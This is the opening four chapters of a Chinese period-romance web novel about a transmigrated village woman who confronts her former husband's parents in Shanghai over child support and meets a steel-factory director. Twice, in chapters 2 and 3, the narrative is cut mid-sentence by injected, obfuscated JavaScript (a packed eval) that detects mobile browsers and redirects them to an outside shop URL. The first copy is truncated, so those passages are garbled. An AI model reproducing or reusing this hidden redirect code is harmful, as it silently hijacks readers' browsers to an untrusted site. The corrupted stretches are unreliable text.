《娇美前妻带娃二婚后[年代文]》 1. 第 1 章 七月末,天沉闷的厉害,一路走过来半丝风都没有,阳光炽烤着大地,连蝉都闷的叫不出声。 沪市火车站招待所标间里,围着简陋的小方桌坐了一圈人。 “来,晚月,吃点瓜子,这是用糖炒过的,乡下小地方都吃不到。”钱腊梅热情的抓起一把瓜子,硬要往眼前年轻女人手里塞。 这手是真嫩啊。 钱腊梅塞完瓜子,心里酸溜溜的感慨。 明明是生过孩子的人了,沈晚月却丝毫不显岁月的痕迹,反而细皮嫩肉的。她五官精致漂亮,只是穿了件再普通不过的棉布长裙,却也被玲珑有致身材穿出了别样的女人味儿。 她这样的女人,只是坐在那里,就好像独是一道风景。 这样漂亮的女人,比她儿子找的那个厂长家闺女都要漂亮几分。 真是个狐狸精! 不饶人的狐狸精! 沈晚月接过瓜子,却没有磕,转而端起了茶壶,给眼前的钱腊梅跟顾有财倒上。 “爸妈,你们跟我还客气什么,都是一家人,我好不容易等着顾清树在沪市站稳了脚跟才过来的,以后咱们好好过日子。” “……” 这句甜滋滋的‘爸妈’,听得钱腊梅气的险些把眼前的桌子给掀了。 过日子?她那么优秀一个大儿子,就算过日子,也不是跟她这个乡下来的女人过,她的儿媳妇儿,只能厂长家的闺女! “咳咳咳……那什么,晚月啊,我发回家的电报你们没看吗?”钱腊梅翻了个白眼,压着火气问。 沈晚月看了眼身边的大哥,沈建国从怀里掏出了一张纸。 陪沈晚月过来找丈夫的是她的大哥跟弟弟,两个男人的脸色可没有沈晚月这么好看,一个比一个铁青,尤其是弟弟沈立民,那眼神好像要把眼前的老两口给吃了一样。 沈建国:“我们看了,亲家婆,你们做的事说的话实在太没有情谊了!当初顾清树当知青下乡,刚去头一天就盯上了我们家晚月,又是打水又是割草,殷勤的跟……” “跟狗一样。”旁边得沈立民瞪着眼补充。 钱腊梅脸色也难看起来,“你们这话说的也不好听。” “可我们不坏良心啊!”沈建国气的脸色铁青。 五年前,沈晚月架不住顾清树的猛烈追求答应了结婚,可结婚后还没一星期,恰好赶上了国家‘三招’政策。 顾家人托关系找熟人,把自家儿子这个知青给弄回了沪市进了厂当会计。 顾清树走之前,跟沈家人赌咒发誓,等在沪市站稳了脚跟,就尽快回来接沈晚月过去享福。 哪知道顾清树这边刚走俩月,那边沈晚月查出来怀了孕。 沈家人本来欢欢喜喜的要联系顾清树提前把人接过去,哪怕吃点苦呢,总归两口子在一起就好。 可顾清树只答应了会寄钱回来,绝口不提接沈晚月过去的意思,找了不知道多少个借口,等孩子落了地,干脆连钱都不寄了,有一段时间几乎是音信全无。 沈晚月就这么在乡下等了五年,等来的确是顾家寄过来了一封诀别信。 顾清树说从前种种都是年少轻狂不懂事,希望沈晚月能够体谅自己的不容易,孩子他也不会争,希望双方各自安好。 其实这种事情,在当年上山下乡运动时的知青之前,频繁发生。 哪村哪乡,都得有一两个把青春甚至一辈子都赌上的女人。 她们一辈子生活在乡下甚至是山区,对外面的世界两眼一黑,被抛弃了,有条件一些的可能还能联系到人,没条件的,国家这么大,连去哪儿找人都不知道。 真是绝世大渣男啊。 沈晚月心里暗自骂娘。 她穿过来的契机,是原身投河自尽的那天。 原身本来还对顾清树怀有一丝的期待,哪怕被人笑话,也一直坚强的活着,带着孩子再苦,也都咬牙挺了过来,可这封信,彻底断绝了她的生的希望。 既然替原身活下来了,那她就得好好活才行。 被救起来后,沈晚月一开始是不知道自己穿书了,直到听见顾清树这个名字才反应过来。 这是一本年代文小说,书中的男主就是聪明有学识的顾清树,讲的是他乘风破浪,跟自己的老婆相爱一生共同走上人生巅峰的故事。 书里的顾清树老婆自然不是沈晚月。 但书里,顾清树有个意外死亡的表妹,因为死了人,表妹家还莫名来沪市找顾清树借钱,这个表妹,就叫沈晚月。 所以,其实所谓的表妹,是顾清树在骗自己的老婆而已。 虽然是小说,可知道真相那一刻,沈晚月瞬间有种这个世界真真实实存在的感觉。 狗币男人,真恶心! 于是沈晚月仗着自己的记忆,借了钱进了城,扒拉了两天报纸,终于从报纸上看到了男主那个纺织厂的邮政编码。 一封邮件发出去,沈晚月跟家里商量以后,由两个身体强壮的兄弟护送来了沪市。 找渣男负责! 不过…… 顾家应该是死都不会负责的,任谁能被厂长家女儿看中,恐怕都不愿意抛弃落到眼前的荣华富贵。 “家里多养两个孩子可不是什么容易的事儿,你们前后就给了一百二十块钱,现在直接发电报说要断绝关系,连自己的亲生骨肉都不管了,心也太狠了。”沈建国瞪过去接着道。 “就是,你们坏了我姐的名声,还丢下两个孩子,我姐的日子你们知道是咋过吗?!”沈立民气的眼睛都有些红了。 沈晚月一直在旁边小口小口喝着凉茶。 只在沈建国说那句‘多出来的孩子’时,抬了抬眼皮子,卷翘的睫毛下,眼神似乎带着几分淡漠。 在沈家看来,她们其实对她这个闺女已经够好了,常言嫁出去的闺女泼出去的水,有些人家的闺女遇到这种情况,是管都不管的,甚至还有可能被逐出家门去。 “立民。” 她声音带着惰意,皓腕转动着点了一下桌子。 “我的名声可没坏,忘恩负义、欺骗感情、狗屁不如的事情又不是我做的,我问心无愧,名声好着呢,可别乱说话。” 沈立民一怔,连连点头,“对,坏的是你们家顾清树!你们要是不给个说法,我们就去厂子里闹去!” 这下点了钱腊梅两口的死穴。 不能闹,儿子刚结完婚,这要一闹脸面工作都保不住! 钱腊梅赔着笑,“那什么,晚月啊,我们也是没料到你们能过来,所以没来得及准备,咱们也算是头一次见面,我匆忙准备了点见面礼,你先拿着。” 钱腊梅说着,递过来了一个信封。 沈晚月接过来,细长白皙的指尖拨弄了一下,露出里面的钞票,她心安理得的收了起来。 沈晚月:“那我就当替两个孩子收一下奶奶给的压岁钱吧。” 沈建国也瞥了一眼,“就这些?就这点钱就想把我们打发了?” 钱腊梅尴尬的笑笑:“这也是我们能拿得出来最大的诚意了,晚月啊,还有晚月她哥,你先冷静一下,这里头有两百块钱,够你们乡下人挣不知道多少年的工分搓多少年的麻绳毛线才能攒到了,不少了。” “你们真的连两个孩子都不想管?”沈建国气的咬咬牙,拿孩子威胁。 钱腊梅跟身边男人对视一眼,顾有财想说什么,却被钱腊梅按住了。 “她哥啊,我们不是心狠,是真要不起,这沪市瞧着繁荣,其实花销可大着呢,况且……” 钱腊梅脸色一沉,促狭瞥了一眼沈晚月:“你们俩到底没领过结婚证,也就是我们顾家好心,才一直给着钱,不然,我们就算是另外再结婚,也不触犯任何的法律,你们拿我们也没办法,况且那孩子,说句难听的话,到底也不知道是不是姓顾……” 都这么多年过去了,又相隔这么远,谁知道这孩子到底是谁的? “你们太过分了!”沈立民听他们这样侮辱姐姐,气的直接把桌子给掀了。 茶杯水壶落了一地,水也撒了他们老两口一身。 钱腊梅哼了一声,站起来,拍拍身上的水渍,很是不屑他这种招数。 到底是乡下来的,见识短浅,怎么可能斗得过自己。 沈晚月佁然不动,坐着拉了拉沈立民的胳膊,“先别闹,他们说的也有道理。” “姐!” “我们是没有结婚证,至于孩子嘛……我保证孩子是我的,但是想要保证是他的也不难,现在医院有专门的化 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她身量不低,眼神清亮,睥睨着眼前这俩老王八蛋,柔媚的眼眸里丝毫没有畏惧,笑眯眯道:“爸妈还不知道呢吧,前些日子我连河都跳了,是死过一次的人了,还怕你们闹不成,大不了……鱼死网破。” 她可是知道的,这个顾清树有多么的爱自己的老婆。 哪怕后来两个人生不出孩子来,顾清树也不愿意离婚,反而是收养了自己‘表妹’的两个孩子。 哼,不过这次有她在,孩子怎么都轮不到他了。 “对!”沈立民往姐姐身侧站了站,“闹就闹,看看咱们谁怕谁!” 也许是被沈家破罐破摔的气势吓住了,老两口愣了愣,背过身去嘀嘀咕咕半天,转过身后,钱腊梅妥协了。 “你们说吧,有什么要求提出来,我们能办就给你们办了,但是办完了,咱们两家以后再没有牵扯!” 沈晚月眼里的笑意放大,坐下抓着瓜子磕了起来。 “简单,把两个孩子的抚养费一次性给交齐了,还有,帮我找个工作,我要留在沪市。” 抚养费是必须要拿到手的,沪市的工作也必须得有。 原身投河,其实也是在沈家实在没脸待下去了,虽然沈家也一直愿意养着她,可到底家里还哥哥嫂嫂,她总这么住着,沈父嘴上不说心里也有怨言。再加上还有嫂子给脸色看,一时间就没想开。 所以,沈家她回去也很难再待下去,而她还带着两个孩子,需要找个工作,走可持续发展道路才行。 钱腊梅两口子对视了一眼,格外警惕沈晚月的第二个要求,“这年头往哪儿给你找工作去,一个工位人人恨不得祖传三辈。” “而且你人生地不熟的,留在沪市不是自找苦吃,我看你最好还是回你们那儿去的好,至少有个人帮衬着你。” 这些话沈晚月甚至没有跟自己两个兄弟商量。 但两兄弟除了一开始听到有些诧异,沈建国反而没有开口说话,沈立民倒是很着急,想说让姐姐跟自己回家去的好,可却被沈建国给按住了,只能干着急。 看着钱腊梅两口子紧张警惕的眼神,沈晚月慢慢补充:“放心,我留在沪市可不是为了你们家那个金珠子宝贝蛋儿,只要你们满足我的要求,我绝不会再纠缠。” 两口子又互相看看,钱腊梅眼珠子转了转,倒是想出了个主意来。 钱腊梅:“你要想留在沪市,找工作其实不是唯一的法子,你可以考虑在这里找个男人结婚,依你的条件……虽然找不到多好的人家,但也有破落一点的二婚男人会考虑。” 给沈晚月找个男人,也断了她以后再找自己儿子的念头。 顾有粮:“对对对,说起来我好有一个亲戚是个鳏夫,年纪大一点,但是沪市本地的人,还有个修鞋的活儿干着,现在工作不好找,不知道要等到猴年马月去呢,这是个好法子,你考虑考虑。” 沈晚月皱皱眉,暗自思度着。 要是留在沪市,总得有个住处,要是能把钱要过来,也能撑个一时半会儿,问题是这年头买房租房都不是个人买卖,得有渠道有人脉,就算是有工作了,分配房子的事儿也得等个几年,总不能让俩孩子跟着自己住员工宿舍去。 “可以。” 沈晚月抬起头:“结婚也能考虑,但必须满足我的要求。” 2. 第 2 章 “……你想找个啥样的?本地没孩子的鳏夫还不够好?” “第一,他得有个工作,还得有个住处,必须能接受我带着孩子,还有就是脾气得好,长相不能丑,要是我不满意,你们就必须给我找个工作,还得让我有个住处安定下来。” 钱腊梅又火了:“你当自己是谁?要有这种好事儿,都上赶着来沪市了。” “我当自己是谁?”沈晚月喝了口茶,润润嗓子:“我当自己是被顾清树抛弃的孩子娘,诶哟,这厂里那么多人,我要是去路边守着随便找个人传一传八卦,你儿子就……” 顾有粮按着媳妇的胳膊,拉着她,压着脾气问:“男人可以慢慢找,在这之前你不能去我儿子厂里闹,事成之后,你怎么保证自己永久保密?” “我可以立字据,两个孩子跟你们永久断绝关系,否则就是诈骗。” “……可以,我们答应,那抚养费你要多少?” 沈晚月伸出手,纤细的手指在空中比了个‘耶’。 “二?二百?” 沈晚月摇摇头:“两千块,少一分都不行。” “两千?!!” “你知不知道两千块意味着什么?” “知道啊,就是知道才问你们要的,这多吗?孩子前五年你们管都没管一下,我还觉得少了呢。” 钱腊梅此刻看沈晚月的眼神,像是在看一个疯子。 而旁边她两兄弟,也好像在看一个完全不认识的人,但都多少带着震惊跟……崇拜。 “姐,我好佩服你啊!” 钱腊梅两口说回家再商量商量就走了,沈晚月兄妹三个下楼准备在附近找点吃的。 “怎么个佩服法儿?”沈晚月吃着油酥饼,跟弟弟站在街口等沈建国回来。 “刚才那个臭女人那么说你,你都不生气,而且还反击回去了,要我都想不出来那些话。” “我当然不生气。” 沈晚月看着弟弟,贴心的给他普及义务教育。 “记住了立民,男人不自爱,就像烂叶菜,像顾清树这种抛妻弃子没有良心的狗男人,是要烂裤/裆的。” “烂裤/裆?”年轻的沈立民才刚满十八岁,还有些茫然。 “对,就是裤/裆下面会烂掉!” 沈立民一愣,下意识捂了捂裤子,惹得沈晚月笑了起来。 笑完了,沈晚月语重心长,拍了拍弟弟的肩膀:“放心吧,你只要自爱,一准不会烂裤/裆,你不是烂叶菜,你现在还是棵小白菜。” 小白菜沈立民有被安慰到,感叹着问:“……哦哦哦,姐,你懂得可真多,那姐你是真要再找男人吗?” “什么叫再啊。” 沈晚月又咬了一口油酥饼。 这是刚才拿钱腊梅给的钱买的,就是比乡下吃的玉米面窝头好吃! “我有过男人嘛立民?那个烂叶菜不算男人就不说了,他拢共在家里待着三五天,我这不是再找男人,我这是焕发人生新光彩好不好……” ‘好’字戛然而止。 沈晚月豪迈的给弟弟上完课,才发现身后不知道什么时候站了两个男人,其中一个男人还穿着军装。 ……兵哥哥听我解释,我真的只是口嗨一下,我是正经人! 沈晚月尴尬的侧过身,连两个人的脸都只是匆匆瞄了一眼,就拽着弟弟朝走过来的沈建国迎去。 身为华国子民,都从心底里尊重人民子弟兵,可刚才她那番烂□□的话,属实是有点当着人面开黄腔了。 她真的只是气渣男过过嘴瘾…… - “哈哈哈哈哈哈哈哈……” 沈晚月过了马路,身后穿军装的男人笑了起来。 陈勋庭看了眼那个已经瞧不清楚,但依旧曼妙的背景,淡淡收回目光。 “人家是遇到事儿了,没必要笑话人。” “我不是笑话她。”李进军眼里仍旧带着笑意:“我是觉得这个女人很有意思,她的想法也很有趣,烂叶菜,哈哈哈哈……也亏她想得出来。” 陈勋庭看了眼李进军,语气淡淡:“她听见了。” “……啊?” “你刚才笑的太大声,她听见了,脚步比正常快了至少一半。” “……” 李进军笑声戛然而止,尴尬的抓抓脑袋。 “咳咳,诶哟我的陈厂长,跟你出来真是一点意思没有,那女人漂亮的跟海报上明星似的,结果你就看人家走路啊,真不愧是钢铁厂出身的,脾气也是又臭又硬,我服!我服还不行嘛!” 这时候街口停下来一辆低调的黑色轿车。 就算是在沪市,这种车也是很罕见的,一看就知道身份不一般。 车刚停下,司机就小跑着出来,小心翼翼结果陈勋庭的黑色手提包再将车门打开。 陈勋庭率先坐了进去,李进军觉得无趣,摸了摸鼻子也跟上了。 “你这种性格,真不知道什么女人能降服住你。” 李进军笑着继续打趣,“我看啊,也就刚才那位够泼辣的女人同一类型才行,不然谁能受得了你这种臭脾气,又这么无趣,我都跟你待不住。” “她不泼辣。”陈勋庭摇摇头。 “你怎么知道?” “……” 看见她耳朵尖红了来着。 应该是害羞的。 如果足够泼辣,大概会瞪回来,质问他们看什么看才对。 可她,嘴里说的那般张扬,性子应该还挺温和。 陈勋庭一向不亲近任何异性,就算是相亲,都因为他这个性格黄了好几次,除了工作以外,他唯一感兴趣的就是技术研究,平时对女人真是多一个眼神都没有。 可刚才…… 他的目光偏偏就是被那个女人吸引过去了好几秒钟。 他不是没见过市面的人,可说起话来花枝乱颤般肆意张扬的美却是头一次见,只是一个照面,那双眼睛里就好像在勾人似的钓着人忍不住的想去探个究竟。 ……好几秒钟啊,这要是让李进军知道了,不知道该怎么打趣他呢。 所以,陈勋庭选择了沉默。 李进军还要追问,陈勋庭这才开口:“不要再随便议论人家女同志了,不礼貌。” “……哦哦哦,你最礼貌,你陈厂长最&*&¥#” 李进军后面说了什么,陈勋庭都没听进去,他选择闭目养神,直接忽略了旁边得噪音制造机。 - “那大家伙可真威风啊!” 刚才的黑色轿车车,足以让整条街的人都侧目去看的了。 沈立民眼巴巴的看着车开走,甚至还小跑了两步追过去,闻了闻还残留在原地的汽车尾气。 沈晚月:“……” 这孩子,闻点什么不好? 沈立民品了品:“诶哟,汽油味儿,比在咱们那县城的小轿车汽油味儿重太多了。” “你要不要再品品是不是八二年的汽油,再要过来点看挂不挂杯啊。”沈晚月一巴掌拍到沈立民的毛刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈建国在旁边垂头半天,这才叹了口气,“成,那回头你算好了,就给一点,面子上有个钱就行,可千万别给多了,给多了说什么我也不会收。” 说话间,俩孩子也醒了。 “妈。” “妈咪!” 一男一女双胞胎,男孩叫天凯,女孩叫琪琪,至于姓氏…… 等这事儿定下来以后,沈晚月准备结婚迁户口的时候给他们改了。 “妈,见到爸爸了吗——哇,是麦乳精!” 天凯刚过来抱了一下妈妈,转头闻见味儿,就撒丫子跑了过去。 身后的琪琪慢慢走过来,一双跟妈妈几分相似的眼睛里写着几分气愤,“妈,爸是不是……以后就见不到了。” 这两个问题,沈晚月一个也没回答。 什么爸不爸的,那种烂叶菜也配被称爸,原身以前经常念叨顾清树,以后得减弱他在孩子心里的位置才行。 “妈妈,你喝。” 天凯自己喝了两口,捧着碗端了过来,“妈妈,其实……不要爸爸也行,我们都觉得只要妈咪永远陪着我们就够了,妈妈,你要保护好自己哦。” 琪琪没有说话,只是点了点头。 其实刚才外面吵架,她跟哥哥是听到了一些的。 如果知道妈妈会受委屈,她们俩宁愿不要见这个什么爸爸。 以后见不到的话,他们来守护妈妈就可以了! 3. 第 3 章 沈晚月自己也是没想到,穿个书,一睁眼直接无痛有了俩娃。 她是一天妈也没当过,毕竟她从小连自己的妈在哪儿都没见过,更别说自己当妈的经验了。 但,摸着石头过河,也不是不可以。 沈晚月先摸了摸女儿的小脑瓜,又捏了捏儿子的小胳膊。 还是忍不住再一次感叹,太瘦了。 为什么一有钱就买麦乳精,实在是想把这俩瘦猴子给养的好一些,这样至少摸起来手感也能好一些…… “天凯琪琪,妈妈的事情妈妈有能力自己解决,而且既然我带你们过来,就已经想好了往后咱们的日子该怎么过,你们的任务,以后就是吃好喝好把自己身体养好,哦对了,再学习好,别的不用操心。” 两个孩子对视一眼。 天凯:“妈妈放心,我们一定乖乖的不让你操心,但妈妈也要保证乖乖的好不好。” 琪琪则打量着窗户外面,“我们以后真的不回去了吗?就在这里生活了是吗妈妈。” “当然。” 沈晚月对着两个崽又是一顿安慰。 这俩崽是双胞胎,但性格完全不同。 天凯活泼好动,俗称社恐,社交恐怖分子那种,在火车站随便拉个人都能聊上半小时。 琪琪反而沉稳一些,原书中还交代过,男主这个表妹家的女儿十分聪明,是个数学天才,平时话不多,却心思细腻。 等沈晚月安慰好了两个崽,又给他们看了自己刚拿到手的大额存款,两个担心妈妈的崽这才看起来安心不少。 天凯眨眨眼,忽然很担忧的开口:“妈妈……刚才你说的话里……” “怎么了?” “学习可以不好吗?” “……不可以。” 沈晚月冷漠的婉拒了天凯的要求,无情的又从包里掏出两本暑假作业。 “等安置下来,还得送你俩去上幼儿园,到时候先上一年学前班,再上小学。” 天凯整个人都瞬间耷拉了下来,垂头丧气,“我知道了妈妈,我一定会写完的。” 沈晚月再次捏了捏女儿的小脸蛋,“去,盯着你哥写作业。” 幼儿园学前班的作业其实就是看图连线这些东西,平常乡下孩子根本不写,就连沈晚月都不知道他们还有暑假作业这会事儿。 是临走前,琪琪特意从屋子里拿出来带来的。 “放心,我看着他今天一定写完一页。” 琪琪小大人一样跟了过去,“沈天凯!你虽然还差一个月五岁,但也不小了,不能再这么散漫了知道吗?” “……沈琪琪!我是哥哥!我才是哥哥,你应该听我的!” “听你的不写作业?还是听你的天天算数都还得掰着手指头算?” “你!你,你别以为我不知道你去偷听人家小学上课!我要举报你!举报你不乖乱跑!” “没办法,小学的课其实我也会了很多,你有本事举报我,有本事考试赢过我啊,我背书看一遍就会了,你能吗?” “我……” 沈天凯发现怎么都吵不过妹妹,气的张牙舞爪:“我跟你们这种天才拼了!!” 刚才还感叹崽乖的沈晚月这会儿连忙过去劝架。 好在俩崽看见她,再怎么不乖也乖下来了,排排坐,去旁边写作业了。 - 顾家。 “不行,坚决不能让她闹开,好不容易哄着孟婉结了婚,她爸说了,好好干以后副厂长就是我的,要是闹开了,孟婉肯定要跟我离婚,爸妈,你们快想想办法啊!” 顾清树回家听完了这些,着急的头上冒汗,“这个沈晚月,以前还真没看出来是个狠角色,以前真是被她蒙骗了,这么狮子大开口难为我们,太过分了!” 钱腊梅也愁的头疼,“你催我们有啥用,当初谁让你自己管不住自己,非得在乡下找个女人,现在怪谁去,怪我们?那我们当初就不该花钱把你从乡下调过来!” 顾有财呵斥道:“现在还埋怨个什么劲儿啊,沈晚月说两天时间让我们必须得给个交代,她可是跳过河的人,看着就狠,到时候真去厂里闹咋办?” “借钱吧。” 顾清树闭上眼睛又睁开,满脑子都是得先保住沈晚月别让她闹事。 “咱们想办法先把钱给她借够,其他的事儿再商量着缓一缓,总之,千万千万不能让孟婉知道这事,一点也不行!” 钱腊梅:“你说的轻松,两千块钱,我往哪儿给你借去。” “妈,你不是还有块陪嫁的鎏金镯子吗?爸,你跟家里几个姑姑借一点,再加上家里的存款,应该就差不多了吧。” “诶哟——”钱腊梅一口气又差点没喘上来,倒在了沙发上,“你这是要你妈的命哟!” “我们那钱是存的棺材本,你说拿就拿,你这孩子就是个窝里横,你有本事自己挣钱去,去找孟婉借去啊!”顾有财盖着眼睛,也像是要哭。 顾清树不为所动,叹了口气,冷静开口:“爸妈你们想想,将来我要是做了副厂长,还缺这点钱吗?到时候我稍微动动手脚,纺织厂里的工位、货物,不是都是来钱的门路?你们目光不要这么短浅,得往长远了想。” 顾有财刚觉得儿子说的有道理,钱腊梅抬起头,“你当初咋不想的长远点,非要在村里找个女人?” “……” 顾清树别过脸,没有正面回答。 要说当初,还不是因为沈晚月太漂亮了,那身段,勾人摄魂似的…… 但现在不是想这个时候。 顾清树摇摇头,继续说:“反正你们得给我想办法,当初孟婉,也是你们让我去追的。” 老两口对视一眼,心知只能如此,咬咬牙,一个还留着眼泪,算是答应了下来。 “那男人咋整?” “她还要男人?”顾清树皱起眉,“不可能,我是坚决不会同意跟她回乡下的,告诉她别的都可以满足,但是我,她还是早点断了这份心吧。” 其实…… 顾清树刚才脑海中浮现了一下沈晚月的身段。 如果要是能瞒得住……算了,他最终还是决定不能冒这个险,毕竟孟婉可是厂长的女儿,就算是离婚了也不愁嫁,他还是等当上了副厂长稳当一些再说吧。 “不是。”钱腊梅看着苦恼的儿子摇摇头,“沈晚月是说,让我们给他找个其他的男人相亲,她说她要留在沪市。” “留在沪市,不会是为了我吧?” “……想多了。”钱腊梅瞪了一眼儿子,“你咋这么不争气,我看沈晚月那意思,是真对你没有念想,她就是想安定下来,你就别总想着她为了你了,她可比你心狠,还说只要满足了她的要求,可以跟你装成从没见过面。” “……哦。” 顾清树抿了抿嘴,颌眼有些落寞。 缓了缓,顾清树才道:“那先把钱的事儿给解决了吧。” 顾有财犹豫起来,“孩子呢?我今天想看看我孙子,可你妈拉着我不让看,你俩真不管了?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208096|151043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子?”顾清树冷声笑笑:“早晚,我跟孟婉也会有孩子的,到时候,那可是厂长家的孙子,还管什么孩子啊!” “就是。” 在这一点上,钱腊梅很赞同儿子的看法,孩子谁生不是生啊。 “行了,孟婉一会儿就到家了,你们先回去想想怎么借钱,到时候还得麻烦爸妈再跑几趟,我……我是不可能再见她了。” 顾家除了顾清树,还有个大闺女顾清华已经出嫁了。 眼瞧着家里有困难,钱腊梅两口离开后就又去找了顾清华。 “找我借钱?” 顾清华大着肚子呢还,掐着腰开了门,听完以后,脸色便冷了下来。 “当初我就说这事儿不能干,抛妻弃子早晚得有报应,看吧,现在报应来了!” 顾清华本来就有个孩子,现在又怀着一个,心知当妈的不容易,忍不住骂了两句弟弟。 顾清华:“他自己管不住下半身的玩意儿,就该不管他让他一辈子留下乡下去。” 当初,就是顾清华丈夫找了关系,帮着把弟弟捞了回来的,也因此,她在家里说话同样有分量,骂了顾清树半天,老两口都没还嘴的。 等骂舒服了,顾清华这才叹了口气,到底是自己亲弟弟,该管还得管。 “这事儿不能再跟那丫头商量商量了?”顾清华问。 “啧,你是没见人,那可不是个丫头,听着名字秀气,说起事儿来吓人的很,还跳过河哩。” 顾有粮也点头,“闹不好,她来个破罐破摔,直接去你弟弟厂子里跳楼,到时候事儿就更大了。” 顾清华揉揉太阳穴,“这确实难办了,钱这方面,我也能给你们弄点,最近有人来求柱子办事儿,拿回来点闲钱,你们先用着,但是……这钱可得抓紧还。” 话说出口轻松,但顾清华心里却知道她是冒了风险答应的。 她男人孙铁柱是在沪市人社干部分配局工作的,比平常人家条件好点,平时也能弄点小钱回家,可他男人好吃喝,平日家里花钱也不少。 之前因着娘家的事儿,已经没少麻烦孙铁柱了,现在又要用钱,只能看看先瞒着孙铁柱一段时间。 “等你弟当了副厂长,还怕弄不来钱?”钱腊梅催促着:“赶紧拿钱吧,看能拿多少,我再凑凑,那沈家人是做了准备来的,发的电报上清楚写了你弟厂子的地址,还有家庭住址,我真是想想就后怕。” “……唉,都是你们俩给惯得!” 顾清华进屋数了一千块钱才出来,“下次你们过去喊上我,我去会会她,总觉得让她一直待在沪市没啥好处,就是个隐患,早晚暴雷,看能不能把她给劝回去。” “成。” - 沈家人在招待所住了两天,眼瞅着最后期限到了,却不见顾家来人。 “晚月,你打算咋办?他们不会食言吧?” “不可能的大哥。”这次就连年纪小的沈立民都门清,“他们明显就是怕了我姐,我姐不是说了那狗男人都结婚了,他们比咱们怕闹起来。” 沈晚月欣慰的看了眼沈立民。 不亏自己这几天来对他的义务教育,很有进步。 掌握住敌人弱点,往往可以事半功倍,就比如现在,她可以安安心心待在招待所吃苹果看报纸,而顾家人,应该还在想方设法求爷爷告奶奶的借钱呢。 只是,顾家人最后也没依照时间过来见面。 沈家大哥着急,商量之后,决定干脆去顾清树的厂里看看到底怎么回事儿。 4. 第 4 章 想打听顾清树的住址不容易,但是想知道沪市纺织厂的地址就简单了。 沈晚月留下沈建国在招待所看着两个孩子,跟沈立民坐着公交车前往纺织厂。 “姐,这可是黄河牌的公交车,比咱们县城那种小型客车完全不一样,能拉更多的人,排气量还大,而且结实,听说咱们县城那种要是出个啥事故直接就零散了。” 他们此行本来是想让沈建国这个大哥一起过来的,但考虑到沈立民是个不安生的性子,怕他不知道轻重带着孩子们出去乱跑,这年头人贩子多得很,火车站附近人又多,就换了沈建国留下。 只是沈立民打从上车嘴巴就没停过,直把沈晚月给听困了。 “就该把天凯也带着,你俩能聊一路。” 沈立民嘿嘿笑笑:“我这不是看见车就激动吗,姐你不知道,虽然咱们乡下没咋见过这些个大家伙,但其实我之前看过这种器械的分解书,里面零件我都能背下来。” 沈晚月这才看了一眼沈立民,“你有这方面天赋,以后可以学学汽修什么的。” “汽修是啥?” “汽车修理,或者是机械零件开发。” “……听不懂。” 沈立民今年十八,初中学历,高中没钱上了,就在家帮忙种地。 沈晚月:“立民,你要喜欢,回去看看这方面的书,咱们大队不是有拖拉机维修工,要有机会,去问问能不能当学徒。” “问过了。”沈立民不好意思笑笑:“那老师傅就靠手艺活吃饭才能在大队里领公家钱,要是学手艺,得给他交学徒费,咱爹不给出。” “咱爹就是头发短见识短。” “……” “姐,我也头发短。” 看着沈立民的傻笑,沈晚月感慨的叹了口气,伸出手在他脑瓜子上拍了拍,“回去偷偷攒钱去学,别听咱爹的。” “好,我听姐的。” 他是家里的老幺,大哥二哥老早就结婚了,打小姐姐就照顾他最多,他也最听姐姐话。 闲聊两句,也到地方了。 这才上午八点半,纺织厂过了上班点,但隔老远,就看见外面围了不少的人。 “大婶子,这咋这么多人?”沈立民拉了个人问。 “咋没见过你,你是厂里工人?” “不是,我们来找人,找亲戚,这人这么多,我们都不敢进去了。” “没事,这不是国家搞什么劳动密集产业链啥的,市里就让沪市第四炼钢厂也迁到这边了,前几天刚竣工,今天纺织厂那边搞什么欢迎仪式,人就多了点。” “啥欢迎仪式啊,就是孟厂长想舔陈厂长的脚丫子呗,真受不了孟厂长这谄媚样子。” 旁边的人插了一嘴,听得沈立民更迷糊了。 “啊?一个大厂长还有这种癖好呢?”沈立民惊呼城里人就是不一样。 沈晚月:“……人家应该不是这意思。” “那是啥意思?” “虽然都是厂长,纺织厂也就是在沪市里显得厉害点,但沪市第四炼钢厂是国有的四大厂之一,上到军事下到老百姓的日常用品都有涉及。”刚才插话的人好心给他解释了一下。 可沈立民还是听得迷迷瞪瞪。 “你们不是找人吗,我跟你们说这个干啥,害,等剪彩结束也就还有十分钟,你们等会儿就可以直接进去了。” “谢谢你同志。” 隔着人群,其实看不清楚最里面是啥样。 就听见一阵欢呼后,旁边放了两个礼炮,倒是把躲在树荫下面乘凉的沈晚月吓得一激灵。 她这原身瞧着身材匀称,其实都是骨架在撑着,乡下窝窝头又不养人,身上瘦不说,刚跳河没多久也没调养好,所以身体状况并不好。 这不只是在人多的地方晒了会儿,便难受的有些胸闷气喘。 沈立民看她难受就把扶到了路对面的树荫下面乘凉,自己则端着茶壶去四周看看能不能找点水给她。 沪市跟沈晚月来的地方天气完全不同,北方的乡下干燥无比,夏天的风也是夹杂着尘土的大风。 但沪市则完全是一种沉溺的状态,空气里带着水润的黏腻,一层层的侵入皮肤跟五脏,像是要把人给溺死在这种空气中。 沈晚月拍拍自己的小心脏,小心又费劲的喘息着。 胸闷。 这么闷的天,怎么也该下点雨才对。 许是天公也觉得心里上过不去,眼瞧前面的人群散开的速度慢,‘轰隆’一声,白日里劈了道闪电下来。 夏日里的雨下的总是突然。 沈晚月还没缓过来,就感觉到脸上落了水珠。 前几秒,树荫还能给沈晚月挡着点,但这是雷阵雨,没多久,树荫反而还成了累赘,聚集成的水哗啦就砸了下去。 这么下去可不行。 其实也就才下了一两分钟而已。 